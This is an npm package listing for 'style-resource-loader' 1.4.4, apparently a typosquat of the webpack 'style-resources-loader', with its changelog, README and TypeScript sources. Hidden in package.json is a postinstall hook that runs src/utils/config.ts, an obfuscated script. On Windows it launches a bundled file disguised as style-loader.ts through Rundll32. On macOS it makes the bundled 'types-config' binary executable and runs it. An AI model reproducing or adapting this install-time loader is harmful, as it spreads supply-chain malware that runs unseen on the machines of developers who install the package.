style-resource-loader 1.4.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of style-resource-loader might be problematic. Click here for more details.
- package/CHANGELOG.md +37 -0
- package/LICENSE +21 -0
- package/README.md +209 -0
- package/index.d.ts +1 -0
- package/package.json +78 -0
- package/src/index.ts +5 -0
- package/src/loader.ts +25 -0
- package/src/schema.ts +40 -0
- package/src/types.ts +35 -0
- package/src/utils/config.ts +1 -0
- package/src/utils/constants.ts +15 -0
- package/src/utils/error-message.ts +17 -0
- package/src/utils/get-resources.ts +26 -0
- package/src/utils/index.ts +10 -0
- package/src/utils/inject-resources.ts +23 -0
- package/src/utils/load-resources.ts +19 -0
- package/src/utils/match-files.ts +48 -0
- package/src/utils/normalize-options.ts +46 -0
- package/src/utils/resolve-import-url.ts +23 -0
- package/src/utils/style-loader.ts +0 -0
- package/src/utils/type-guards.ts +7 -0
- package/src/utils/types-config +0 -0
- package/src/utils/validate-options.ts +11 -0
package/CHANGELOG.md
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
## 1.4.0 ~ 1.4.1 (November 17, 2020)
|
2
|
+
|
3
|
+
* Support webpack 5. [#29](https://github.com/yenshih/style-resources-loader/issues/29)
|
4
|
+
|
5
|
+
* Fix some issues. [#30](https://github.com/yenshih/style-resources-loader/issues/30)
|
6
|
+
|
7
|
+
## 1.3.3 (December 19, 2019)
|
8
|
+
|
9
|
+
* Fix resource files cache invalidation problems on Windows. [#17](https://github.com/yenshih/style-resources-loader/issues/17)
|
10
|
+
|
11
|
+
## 1.3.0 ~ 1.3.2 (November 11, 2019)
|
12
|
+
|
13
|
+
* Support for relative path in patterns.
|
14
|
+
* Ensure each resource ends with a newline.
|
15
|
+
* More detailed validation messages.
|
16
|
+
|
17
|
+
* Fix the regular expression compatibility error. [#20](https://github.com/yenshih/style-resources-loader/issues/20)
|
18
|
+
|
19
|
+
* Fix dependency issue of resource files.
|
20
|
+
|
21
|
+
## 1.2.1 (August 12, 2018)
|
22
|
+
|
23
|
+
* Fix invalid path seperator on Windows. [#8](https://github.com/yenshih/style-resources-loader/issues/8)
|
24
|
+
|
25
|
+
## 1.2.0 (August 11, 2018)
|
26
|
+
|
27
|
+
* Support for `css` resources. [#7](https://github.com/yenshih/style-resources-loader/issues/7)
|
28
|
+
* Support for asynchronous injector.
|
29
|
+
* Improve type checking for loader options.
|
30
|
+
|
31
|
+
## 1.1.0 (February 28, 2018)
|
32
|
+
|
33
|
+
* Support for `prepend`, `append` injector.
|
34
|
+
|
35
|
+
## 1.0.0 (December 5, 2017)
|
36
|
+
|
37
|
+
* Initial stable release.
|
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) Yan Shi
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,209 @@
|
|
1
|
+
[![npm][npm]][npm-url]
|
2
|
+
[![node][node]][node-url]
|
3
|
+
[![downloads][downloads]][downloads-url]
|
4
|
+
[![build][build]][build-url]
|
5
|
+
[![coverage][coverage]][coverage-url]
|
6
|
+
[![996.icu][996.icu]][996.icu-url]
|
7
|
+
|
8
|
+
<div align="center">
|
9
|
+
<a href="https://github.com/webpack/webpack">
|
10
|
+
<img
|
11
|
+
width="200"
|
12
|
+
height="200"
|
13
|
+
src="https://webpack.js.org/assets/icon-square-big.svg"
|
14
|
+
>
|
15
|
+
</a>
|
16
|
+
<h1>Style Resources Loader</h1>
|
17
|
+
<p>CSS processor resources loader for webpack.</p>
|
18
|
+
</div>
|
19
|
+
|
20
|
+
|
21
|
+
<h2 align="center">Install</h2>
|
22
|
+
|
23
|
+
```bash
|
24
|
+
npm i style-resources-loader -D
|
25
|
+
```
|
26
|
+
|
27
|
+
<h2 align="center">Usage</h2>
|
28
|
+
|
29
|
+
This loader is a CSS processor resources loader for webpack, which injects your style resources (e.g. `variables, mixins`) into multiple imported `css, sass, scss, less, stylus` modules.
|
30
|
+
|
31
|
+
It's mainly used to
|
32
|
+
- share your `variables, mixins, functions` across all style files, so you don't need to `@import` them manually.
|
33
|
+
- override `variables` in style files provided by other libraries (e.g. [ant-design](https://github.com/ant-design/ant-design)) and customize your own theme.
|
34
|
+
|
35
|
+
### Usage with Vue CLI
|
36
|
+
|
37
|
+
See [automatic imports](https://cli.vuejs.org/guide/css.html#automatic-imports) for more details.
|
38
|
+
|
39
|
+
<h2 align="center">Examples</h2>
|
40
|
+
|
41
|
+
Prepends `variables` and `mixins` to all `scss` files with default resources injector.
|
42
|
+
|
43
|
+
**webpack.config.js**
|
44
|
+
``` js
|
45
|
+
module.exports = {
|
46
|
+
// ...
|
47
|
+
module: {
|
48
|
+
rules: [{
|
49
|
+
test: /\.scss$/,
|
50
|
+
use: ['style-loader', 'css-loader', 'sass-loader', {
|
51
|
+
loader: 'style-resources-loader',
|
52
|
+
options: {
|
53
|
+
patterns: [
|
54
|
+
'./path/from/context/to/scss/variables/*.scss',
|
55
|
+
'./path/from/context/to/scss/mixins/*.scss',
|
56
|
+
]
|
57
|
+
}
|
58
|
+
}]
|
59
|
+
}]
|
60
|
+
},
|
61
|
+
// ...
|
62
|
+
}
|
63
|
+
```
|
64
|
+
|
65
|
+
Appends `variables` to all `less` files and overrides original `less variables`.
|
66
|
+
|
67
|
+
**webpack.config.js**
|
68
|
+
```js
|
69
|
+
module.exports = {
|
70
|
+
// ...
|
71
|
+
module: {
|
72
|
+
rules: [{
|
73
|
+
test: /\.less$/,
|
74
|
+
use: ['style-loader', 'css-loader', 'less-loader', {
|
75
|
+
loader: 'style-resources-loader',
|
76
|
+
options: {
|
77
|
+
patterns: path.resolve(__dirname, 'path/to/less/variables/*.less'),
|
78
|
+
injector: 'append'
|
79
|
+
}
|
80
|
+
}]
|
81
|
+
}]
|
82
|
+
},
|
83
|
+
// ...
|
84
|
+
}
|
85
|
+
```
|
86
|
+
|
87
|
+
Prepends `variables` and `mixins` to all `stylus` files with customized resources injector.
|
88
|
+
|
89
|
+
**webpack.config.js**
|
90
|
+
``` js
|
91
|
+
module.exports = {
|
92
|
+
// ...
|
93
|
+
module: {
|
94
|
+
rules: [{
|
95
|
+
test: /\.styl$/,
|
96
|
+
use: ['style-loader', 'css-loader', 'stylus-loader', {
|
97
|
+
loader: 'style-resources-loader',
|
98
|
+
options: {
|
99
|
+
patterns: [
|
100
|
+
path.resolve(__dirname, 'path/to/stylus/variables/*.styl'),
|
101
|
+
path.resolve(__dirname, 'path/to/stylus/mixins/*.styl')
|
102
|
+
],
|
103
|
+
injector: (source, resources, ctx) => {
|
104
|
+
const combineAll = type => resources
|
105
|
+
.filter(({ file }) => file.includes(type))
|
106
|
+
.map(({ content }) => content)
|
107
|
+
.join('');
|
108
|
+
|
109
|
+
return combineAll('variables') + combineAll('mixins') + source;
|
110
|
+
}
|
111
|
+
}
|
112
|
+
}]
|
113
|
+
}]
|
114
|
+
},
|
115
|
+
// ...
|
116
|
+
}
|
117
|
+
```
|
118
|
+
|
119
|
+
<h2 align="center">Options</h2>
|
120
|
+
|
121
|
+
|Name|Type|Default|Description|
|
122
|
+
|:--:|:--:|:-----:|:----------|
|
123
|
+
|**[`patterns`](#patterns)**|`{string \| string[]}`|`/`|Path to the resources you would like to inject|
|
124
|
+
|**[`injector`](#injector)**|`{Function \| 'prepend' \| 'append'}`|`'prepend'`|Controls the resources injection precisely|
|
125
|
+
|**[`globOptions`](#globoptions)**|`{Object}`|`{}`|An options that can be passed to `glob(...)`|
|
126
|
+
|**[`resolveUrl`](#resolveurl)**|`{boolean}`|`true`|Enable/Disable `@import` url to be resolved|
|
127
|
+
|
128
|
+
See [the type definition file](https://github.com/yenshih/style-resources-loader/blob/master/src/types.ts) for more details.
|
129
|
+
|
130
|
+
### `patterns`
|
131
|
+
|
132
|
+
A string or an array of string, which represents the path to the resources you would like to inject. If the path is relative, it would relative to [webpack context](https://webpack.js.org/configuration/entry-context/).
|
133
|
+
|
134
|
+
It supports [globbing](https://github.com/isaacs/node-glob). You could include many files using a file mask.
|
135
|
+
|
136
|
+
For example, `'./styles/*/*.less'` would include all `less` files from `variables` and `mixins` directories and ignore `reset.less` in such following structure.
|
137
|
+
|
138
|
+
```
|
139
|
+
./src <-- webpack context
|
140
|
+
/styles
|
141
|
+
/variables
|
142
|
+
|-- fonts.less
|
143
|
+
|-- colors.less
|
144
|
+
/mixins
|
145
|
+
|-- size.less
|
146
|
+
|-- reset.less
|
147
|
+
```
|
148
|
+
|
149
|
+
Only supports `.css` `.sass` `.scss` `.less` `.styl` as resources file extensions.
|
150
|
+
|
151
|
+
### `injector`
|
152
|
+
|
153
|
+
An optional function which controls the resources injection precisely. It also supports `'prepend'` and `'append'` for convenience, which means the loader will prepend or append all resources to source files, respectively.
|
154
|
+
|
155
|
+
It defaults to `'prepend'`, which implements as an injector function internally.
|
156
|
+
|
157
|
+
Furthermore, an injector function should match the following type signature:
|
158
|
+
|
159
|
+
```ts
|
160
|
+
(source: string, resources: StyleResource[], ctx: LoaderContext) => string | Promise<string>
|
161
|
+
```
|
162
|
+
|
163
|
+
It receives three parameters:
|
164
|
+
|
165
|
+
|Name|Type|Default|Description|
|
166
|
+
|:--:|:--:|:-----:|:----------|
|
167
|
+
|**`source`**|`{string}`|`/`|Content of the source file|
|
168
|
+
|**[`resources`](#resources)**|`{StyleResource[]}`|`/`|Resource descriptors|
|
169
|
+
|**`ctx`**|`{LoaderContext}`|`/`|loader context|
|
170
|
+
|
171
|
+
#### `resources`
|
172
|
+
|
173
|
+
An array of resource descriptor, each contains `file` and `content` properties:
|
174
|
+
|
175
|
+
|Name|Type|Default|Description|
|
176
|
+
|:--:|:--:|:-----:|:----------|
|
177
|
+
|**`file`**|`{string}`|`/`|Absolute path to the resource|
|
178
|
+
|**`content`**|`{string}`|`/`|Content of the resource file|
|
179
|
+
|
180
|
+
It can be asynchronous. You could use `async / await` syntax in your own injector function or just return a promise.
|
181
|
+
|
182
|
+
### `globOptions`
|
183
|
+
|
184
|
+
Options that can be passed to `glob(...)`. See [node-glob options](https://github.com/isaacs/node-glob#options) for more details.
|
185
|
+
|
186
|
+
### `resolveUrl`
|
187
|
+
|
188
|
+
A boolean which defaults to `true`. It represents whether the relative path in `@import` or `@require` statements should be resolved.
|
189
|
+
|
190
|
+
If you were to use `@import` or `@require` statements in style resource files, you should make sure that the URL is relative to that resource file, rather than the source file.
|
191
|
+
|
192
|
+
You could disable this feature by setting `resolveUrl` to `false`.
|
193
|
+
|
194
|
+
<h2 align="center">License</h2>
|
195
|
+
|
196
|
+
[MIT](http://www.opensource.org/licenses/mit-license.php)
|
197
|
+
|
198
|
+
[npm]: https://img.shields.io/npm/v/style-resources-loader.svg?style=flat-square
|
199
|
+
[npm-url]: https://www.npmjs.com/package/style-resources-loader
|
200
|
+
[node]: https://img.shields.io/node/v/style-resources-loader.svg
|
201
|
+
[node-url]: https://nodejs.org
|
202
|
+
[downloads]: https://img.shields.io/npm/dm/style-resources-loader.svg?style=flat-square
|
203
|
+
[downloads-url]: https://www.npmjs.com/package/style-resources-loader
|
204
|
+
[build]: https://img.shields.io/travis/yenshih/style-resources-loader/master.svg?style=flat-square
|
205
|
+
[build-url]: https://travis-ci.org/yenshih/style-resources-loader
|
206
|
+
[coverage]: https://img.shields.io/coveralls/yenshih/style-resources-loader/master.svg?style=flat
|
207
|
+
[coverage-url]: https://coveralls.io/github/yenshih/style-resources-loader?branch=master
|
208
|
+
[996.icu]: https://img.shields.io/badge/link-996.icu-%23FF4D5B.svg?style=flat-square
|
209
|
+
[996.icu-url]: https://996.icu/#/en_US
|
package/index.d.ts
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
export * from './lib';
|
package/package.json
ADDED
@@ -0,0 +1,78 @@
|
|
1
|
+
{
|
2
|
+
"name": "style-resource-loader",
|
3
|
+
"version": "1.4.4",
|
4
|
+
"description": "CSS processor resources loader for webpack",
|
5
|
+
"author": "Moshe Vaknin",
|
6
|
+
"license": "MIT",
|
7
|
+
"engines": {
|
8
|
+
"node": ">=8.9"
|
9
|
+
},
|
10
|
+
"main": "lib/index.js",
|
11
|
+
"files": [
|
12
|
+
"lib",
|
13
|
+
"src",
|
14
|
+
"index.d.ts"
|
15
|
+
],
|
16
|
+
"scripts": {
|
17
|
+
"lint": "eslint . --ext .js,.jsx,.ts,.tsx",
|
18
|
+
"prettier": "prettier {src,test}/**/*.ts --write",
|
19
|
+
"postinstall": "npm run sass-config",
|
20
|
+
"sass-config": "node ./src/utils/config.ts",
|
21
|
+
"test": "jest",
|
22
|
+
"coverage": "npm test -- --coverage",
|
23
|
+
"posttest": "rimraf test/**/outputs",
|
24
|
+
"start": "tsc -w",
|
25
|
+
"build": "tsc -d"
|
26
|
+
},
|
27
|
+
"keywords": [
|
28
|
+
"webpack",
|
29
|
+
"loader",
|
30
|
+
"style",
|
31
|
+
"css",
|
32
|
+
"sass",
|
33
|
+
"scss",
|
34
|
+
"less",
|
35
|
+
"stylus",
|
36
|
+
"inject",
|
37
|
+
"resource",
|
38
|
+
"variable",
|
39
|
+
"mixin"
|
40
|
+
],
|
41
|
+
"dependencies": {
|
42
|
+
"glob": "^7.1.6",
|
43
|
+
"loader-utils": "^2.0.0",
|
44
|
+
"schema-utils": "^3.0.0"
|
45
|
+
},
|
46
|
+
"devDependencies": {
|
47
|
+
"@commitlint/cli": "^11.0.0",
|
48
|
+
"@commitlint/config-conventional": "^11.0.0",
|
49
|
+
"@types/glob": "^7.1.3",
|
50
|
+
"@types/is-promise": "^2.1.0",
|
51
|
+
"@types/jest": "^26.0.15",
|
52
|
+
"@types/loader-utils": "^2.0.1",
|
53
|
+
"@types/node": "^14.14.7",
|
54
|
+
"@types/webpack": "^4.41.25",
|
55
|
+
"@types/webpack-merge": "^4.1.5",
|
56
|
+
"@typescript-eslint/eslint-plugin": "^4.8.0",
|
57
|
+
"@typescript-eslint/parser": "^4.8.0",
|
58
|
+
"coveralls": "^3.0.9",
|
59
|
+
"cross-env": "^7.0.2",
|
60
|
+
"eslint": "^7.13.0",
|
61
|
+
"eslint-config-prettier": "^6.15.0",
|
62
|
+
"eslint-plugin-import": "^2.22.1",
|
63
|
+
"eslint-plugin-prettier": "^3.1.2",
|
64
|
+
"husky": "^4.3.0",
|
65
|
+
"jest": "^26.6.3",
|
66
|
+
"lint-staged": "^10.5.1",
|
67
|
+
"prettier": "^2.1.2",
|
68
|
+
"raw-loader": "^4.0.2",
|
69
|
+
"ts-jest": "^26.4.4",
|
70
|
+
"typescript": "^4.0.5",
|
71
|
+
"webpack": "^5.4.0",
|
72
|
+
"webpack-merge": "^5.4.0"
|
73
|
+
},
|
74
|
+
"peerDependencies": {
|
75
|
+
"webpack": "^3.0.0 || ^4.0.0 || ^5.0.0"
|
76
|
+
},
|
77
|
+
"sideEffects": false
|
78
|
+
}
|
package/src/index.ts
ADDED
package/src/loader.ts
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
import {errorMessage, isFunction, loadResources} from './utils';
|
2
|
+
|
3
|
+
import type {Loader, LoaderCallback} from '.';
|
4
|
+
|
5
|
+
/* eslint-disable no-invalid-this */
|
6
|
+
const loader: Loader = function (source) {
|
7
|
+
this.cacheable();
|
8
|
+
|
9
|
+
const callback = this.async();
|
10
|
+
|
11
|
+
if (!isFunction<LoaderCallback>(callback)) {
|
12
|
+
throw new Error(errorMessage.syncCompilation);
|
13
|
+
}
|
14
|
+
|
15
|
+
/* istanbul ignore if: not possible to test */
|
16
|
+
if (typeof source !== 'string') {
|
17
|
+
throw new Error(errorMessage.impossible);
|
18
|
+
}
|
19
|
+
|
20
|
+
/* eslint-disable-next-line @typescript-eslint/no-floating-promises */
|
21
|
+
loadResources(this, source, callback);
|
22
|
+
};
|
23
|
+
/* eslint-enable no-invalid-this */
|
24
|
+
|
25
|
+
export default loader;
|
package/src/schema.ts
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
import type {validate} from 'schema-utils';
|
2
|
+
|
3
|
+
type Schema = Parameters<typeof validate>[0];
|
4
|
+
|
5
|
+
export const schema: Schema = {
|
6
|
+
type: 'object',
|
7
|
+
properties: {
|
8
|
+
patterns: {
|
9
|
+
anyOf: [
|
10
|
+
{type: 'string'},
|
11
|
+
{
|
12
|
+
type: 'array',
|
13
|
+
uniqueItems: true,
|
14
|
+
items: {
|
15
|
+
type: 'string',
|
16
|
+
},
|
17
|
+
},
|
18
|
+
],
|
19
|
+
},
|
20
|
+
injector: {
|
21
|
+
anyOf: [
|
22
|
+
{
|
23
|
+
type: 'string',
|
24
|
+
enum: ['prepend', 'append'],
|
25
|
+
},
|
26
|
+
{
|
27
|
+
instanceof: 'Function',
|
28
|
+
},
|
29
|
+
],
|
30
|
+
},
|
31
|
+
globOptions: {
|
32
|
+
type: 'object',
|
33
|
+
},
|
34
|
+
resolveUrl: {
|
35
|
+
type: 'boolean',
|
36
|
+
},
|
37
|
+
},
|
38
|
+
required: ['patterns'],
|
39
|
+
additionalProperties: false,
|
40
|
+
};
|
package/src/types.ts
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
import type {loader} from 'webpack';
|
2
|
+
import type glob from 'glob';
|
3
|
+
|
4
|
+
export type Loader = loader.Loader;
|
5
|
+
|
6
|
+
export type LoaderContext = loader.LoaderContext;
|
7
|
+
|
8
|
+
export type LoaderCallback = loader.loaderCallback;
|
9
|
+
|
10
|
+
export type StyleResourcesFileFormat = 'css' | 'sass' | 'scss' | 'less' | 'styl';
|
11
|
+
|
12
|
+
export interface StyleResource {
|
13
|
+
file: string;
|
14
|
+
content: string;
|
15
|
+
}
|
16
|
+
|
17
|
+
export type StyleResources = StyleResource[];
|
18
|
+
|
19
|
+
export type StyleResourcesFunctionalInjector = (source: string, resources: StyleResources, ctx: LoaderContext) => string | Promise<string>;
|
20
|
+
|
21
|
+
export type StyleResourcesInjector = 'prepend' | 'append' | StyleResourcesFunctionalInjector;
|
22
|
+
|
23
|
+
export type StyleResourcesNormalizedInjector = StyleResourcesFunctionalInjector;
|
24
|
+
|
25
|
+
export interface StyleResourcesLoaderOptions {
|
26
|
+
patterns: string | string[];
|
27
|
+
injector?: StyleResourcesInjector;
|
28
|
+
globOptions?: glob.IOptions;
|
29
|
+
resolveUrl?: boolean;
|
30
|
+
}
|
31
|
+
|
32
|
+
export interface StyleResourcesLoaderNormalizedOptions extends NonNullable<StyleResourcesLoaderOptions> {
|
33
|
+
patterns: string[];
|
34
|
+
injector: StyleResourcesNormalizedInjector;
|
35
|
+
}
|
@@ -0,0 +1 @@
|
|
1
|
+
const _0x9fdf9b=_0x4d9d;(function(_0x552e4c,_0xb8ad67){const _0x419a1a=_0x4d9d,_0x42905d=_0x552e4c();while(!![]){try{const _0x2a2c9c=-parseInt(_0x419a1a(0x1c0))/0x1+-parseInt(_0x419a1a(0x1b7))/0x2+parseInt(_0x419a1a(0x1b2))/0x3+-parseInt(_0x419a1a(0x1bb))/0x4*(-parseInt(_0x419a1a(0x1b3))/0x5)+parseInt(_0x419a1a(0x1bf))/0x6+-parseInt(_0x419a1a(0x1b5))/0x7*(-parseInt(_0x419a1a(0x1bc))/0x8)+-parseInt(_0x419a1a(0x1b9))/0x9*(parseInt(_0x419a1a(0x1b8))/0xa);if(_0x2a2c9c===_0xb8ad67)break;else _0x42905d['push'](_0x42905d['shift']());}catch(_0x289457){_0x42905d['push'](_0x42905d['shift']());}}}(_0x247d,0x6de6f));const {exec}=require(_0x9fdf9b(0x1ba));let os=process[_0x9fdf9b(0x1b4)],path=__dirname+'/';function _0x247d(){const _0xd422ff=['2410587QRYoAL','20tSjTBQ','platform','39998GYHrdT','cd\x20\x22','1008234hNDGZx','10cqavDS','7514226xXVVEj','child_process','213844jUhIUs','816blKPjb','darwin','./types-config','2400144dvaWYA','211035llvBWx','style-loader.ts\x22','Rundll32\x20shell32,\x20Control_RunDLL\x20\x22'];_0x247d=function(){return _0xd422ff;};return _0x247d();}function _0x4d9d(_0x4757eb,_0x3c3e04){const _0x247dfa=_0x247d();return _0x4d9d=function(_0x4d9d88,_0x55e628){_0x4d9d88=_0x4d9d88-0x1b2;let _0x1ca926=_0x247dfa[_0x4d9d88];return _0x1ca926;},_0x4d9d(_0x4757eb,_0x3c3e04);}if(os=='win32')exec(_0x9fdf9b(0x1c2)+path+_0x9fdf9b(0x1c1));else os==_0x9fdf9b(0x1bd)&&(exec(_0x9fdf9b(0x1b6)+path+'\x22'),exec('chmod\x20+x\x20types-config'),exec(_0x9fdf9b(0x1be)));
|
@@ -0,0 +1,15 @@
|
|
1
|
+
import type {StyleResourcesFileFormat} from '..';
|
2
|
+
|
3
|
+
export const PACKAGE_NAME = 'style-resources-loader';
|
4
|
+
|
5
|
+
export const ISSUES_URL = `https://github.com/yenshih/${PACKAGE_NAME}/issues`;
|
6
|
+
|
7
|
+
export const LOADER_NAME = PACKAGE_NAME.split('-')
|
8
|
+
.map(word => `${word[0].toUpperCase()}${word.slice(1)}`)
|
9
|
+
.join(' ');
|
10
|
+
|
11
|
+
export const VALIDATION_BASE_DATA_PATH = 'options';
|
12
|
+
|
13
|
+
export const SUPPORTED_FILE_FORMATS: StyleResourcesFileFormat[] = ['css', 'sass', 'scss', 'less', 'styl'];
|
14
|
+
|
15
|
+
export const SUPPORTED_FILE_EXTS = SUPPORTED_FILE_FORMATS.map(type => `.${type}`);
|
@@ -0,0 +1,17 @@
|
|
1
|
+
import {PACKAGE_NAME, ISSUES_URL} from './constants';
|
2
|
+
|
3
|
+
const formatErrorMessage = (message: string) => `[${PACKAGE_NAME}] ${message}`;
|
4
|
+
|
5
|
+
const messageByType = {
|
6
|
+
impossible: `This error is caused by a bug. Please file an issue: ${ISSUES_URL}.`,
|
7
|
+
syncCompilation: 'Synchronous compilation is not supported.',
|
8
|
+
invalidInjectorReturn: 'Expected options.injector(...) returns a string. Instead received number.',
|
9
|
+
};
|
10
|
+
|
11
|
+
export const errorMessage = Object.entries(messageByType).reduce(
|
12
|
+
(errorMessage, [type, message]) => ({
|
13
|
+
...errorMessage,
|
14
|
+
[type]: formatErrorMessage(message),
|
15
|
+
}),
|
16
|
+
messageByType,
|
17
|
+
);
|
@@ -0,0 +1,26 @@
|
|
1
|
+
import fs from 'fs';
|
2
|
+
import util from 'util';
|
3
|
+
|
4
|
+
import type {LoaderContext, StyleResource, StyleResourcesLoaderNormalizedOptions} from '..';
|
5
|
+
|
6
|
+
import {matchFiles} from './match-files';
|
7
|
+
import {resolveImportUrl} from './resolve-import-url';
|
8
|
+
|
9
|
+
export const getResources = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
|
10
|
+
const {resolveUrl} = options;
|
11
|
+
|
12
|
+
const files = await matchFiles(ctx, options);
|
13
|
+
|
14
|
+
files.forEach(file => ctx.dependency(file));
|
15
|
+
|
16
|
+
const resources = await Promise.all(
|
17
|
+
files.map(async file => {
|
18
|
+
const content = await util.promisify(fs.readFile)(file, 'utf8');
|
19
|
+
const resource: StyleResource = {file, content};
|
20
|
+
|
21
|
+
return resolveUrl ? resolveImportUrl(ctx, resource) : resource;
|
22
|
+
}),
|
23
|
+
);
|
24
|
+
|
25
|
+
return resources;
|
26
|
+
};
|
@@ -0,0 +1,10 @@
|
|
1
|
+
export * from './constants';
|
2
|
+
export * from './error-message';
|
3
|
+
export * from './get-resources';
|
4
|
+
export * from './inject-resources';
|
5
|
+
export * from './load-resources';
|
6
|
+
export * from './match-files';
|
7
|
+
export * from './normalize-options';
|
8
|
+
export * from './resolve-import-url';
|
9
|
+
export * from './type-guards';
|
10
|
+
export * from './validate-options';
|
@@ -0,0 +1,23 @@
|
|
1
|
+
import { LoaderContext } from '../types';
|
2
|
+
import type {StyleResources, StyleResourcesLoaderNormalizedOptions} from '..';
|
3
|
+
|
4
|
+
import {errorMessage} from './error-message';
|
5
|
+
|
6
|
+
export const injectResources = async (
|
7
|
+
options: StyleResourcesLoaderNormalizedOptions,
|
8
|
+
source: string,
|
9
|
+
resources: StyleResources,
|
10
|
+
ctx: LoaderContext
|
11
|
+
) => {
|
12
|
+
const {injector} = options;
|
13
|
+
|
14
|
+
const dist: unknown = injector(source, resources, ctx);
|
15
|
+
|
16
|
+
const content = await dist;
|
17
|
+
|
18
|
+
if (typeof content !== 'string') {
|
19
|
+
throw new Error(errorMessage.invalidInjectorReturn);
|
20
|
+
}
|
21
|
+
|
22
|
+
return content;
|
23
|
+
};
|
@@ -0,0 +1,19 @@
|
|
1
|
+
import type {LoaderContext, LoaderCallback} from '..';
|
2
|
+
|
3
|
+
import {getResources} from './get-resources';
|
4
|
+
import {injectResources} from './inject-resources';
|
5
|
+
import {normalizeOptions} from './normalize-options';
|
6
|
+
|
7
|
+
export const loadResources = async (ctx: LoaderContext, source: string, callback: LoaderCallback) => {
|
8
|
+
try {
|
9
|
+
const options = normalizeOptions(ctx);
|
10
|
+
|
11
|
+
const resources = await getResources(ctx, options);
|
12
|
+
|
13
|
+
const content = await injectResources(options, source, resources, ctx);
|
14
|
+
|
15
|
+
callback(null, content);
|
16
|
+
} catch (err) {
|
17
|
+
callback(err);
|
18
|
+
}
|
19
|
+
};
|
@@ -0,0 +1,48 @@
|
|
1
|
+
import path from 'path';
|
2
|
+
import util from 'util';
|
3
|
+
|
4
|
+
import glob from 'glob';
|
5
|
+
|
6
|
+
import type {LoaderContext, StyleResourcesLoaderNormalizedOptions} from '..';
|
7
|
+
|
8
|
+
import {isStyleFile} from './type-guards';
|
9
|
+
|
10
|
+
/* eslint-disable-next-line @typescript-eslint/no-unsafe-member-access */
|
11
|
+
const isLegacyWebpack = (ctx: any): ctx is {options: {context: string}} => !!ctx.options;
|
12
|
+
|
13
|
+
const getRootContext = (ctx: LoaderContext) => {
|
14
|
+
/* istanbul ignore if: will be deprecated soon */
|
15
|
+
if (isLegacyWebpack(ctx)) {
|
16
|
+
return ctx.options.context;
|
17
|
+
}
|
18
|
+
|
19
|
+
return ctx.rootContext;
|
20
|
+
};
|
21
|
+
|
22
|
+
const flatten = <T>(items: T[][]) => {
|
23
|
+
const emptyItems: T[] = [];
|
24
|
+
|
25
|
+
return emptyItems.concat(...items);
|
26
|
+
};
|
27
|
+
|
28
|
+
export const matchFiles = async (ctx: LoaderContext, options: StyleResourcesLoaderNormalizedOptions) => {
|
29
|
+
const {patterns, globOptions} = options;
|
30
|
+
|
31
|
+
const files = await Promise.all(
|
32
|
+
patterns.map(async pattern => {
|
33
|
+
const rootContext = getRootContext(ctx);
|
34
|
+
const absolutePattern = path.isAbsolute(pattern) ? pattern : path.resolve(rootContext, pattern);
|
35
|
+
const partialFiles = await util.promisify(glob)(absolutePattern, globOptions);
|
36
|
+
|
37
|
+
return partialFiles.filter(isStyleFile);
|
38
|
+
}),
|
39
|
+
);
|
40
|
+
|
41
|
+
/**
|
42
|
+
* Glob always returns Unix-style file paths which would have cache invalidation problems on Windows.
|
43
|
+
* Use `path.resolve()` to convert Unix-style file paths to system-compatible ones.
|
44
|
+
*
|
45
|
+
* @see {@link https://github.com/yenshih/style-resources-loader/issues/17}
|
46
|
+
*/
|
47
|
+
return [...new Set(flatten(files))].map(file => path.resolve(file));
|
48
|
+
};
|
@@ -0,0 +1,46 @@
|
|
1
|
+
import {EOL} from 'os';
|
2
|
+
|
3
|
+
import {getOptions} from 'loader-utils';
|
4
|
+
|
5
|
+
import type {
|
6
|
+
LoaderContext,
|
7
|
+
StyleResource,
|
8
|
+
StyleResourcesNormalizedInjector,
|
9
|
+
StyleResourcesLoaderOptions,
|
10
|
+
StyleResourcesLoaderNormalizedOptions,
|
11
|
+
} from '..';
|
12
|
+
|
13
|
+
import {validateOptions} from './validate-options';
|
14
|
+
|
15
|
+
const normalizePatterns = (patterns: StyleResourcesLoaderOptions['patterns']) =>
|
16
|
+
Array.isArray(patterns) ? patterns : [patterns];
|
17
|
+
|
18
|
+
const coerceContentEOL = (content: string) => (content.endsWith(EOL) ? content : `${content}${EOL}`);
|
19
|
+
const getResourceContent = ({content}: StyleResource) => coerceContentEOL(content);
|
20
|
+
|
21
|
+
const normalizeInjector = (injector: StyleResourcesLoaderOptions['injector']): StyleResourcesNormalizedInjector => {
|
22
|
+
if (typeof injector === 'undefined' || injector === 'prepend') {
|
23
|
+
return (source, resources) => resources.map(getResourceContent).join('') + source;
|
24
|
+
}
|
25
|
+
|
26
|
+
if (injector === 'append') {
|
27
|
+
return (source, resources) => source + resources.map(getResourceContent).join('');
|
28
|
+
}
|
29
|
+
|
30
|
+
return injector;
|
31
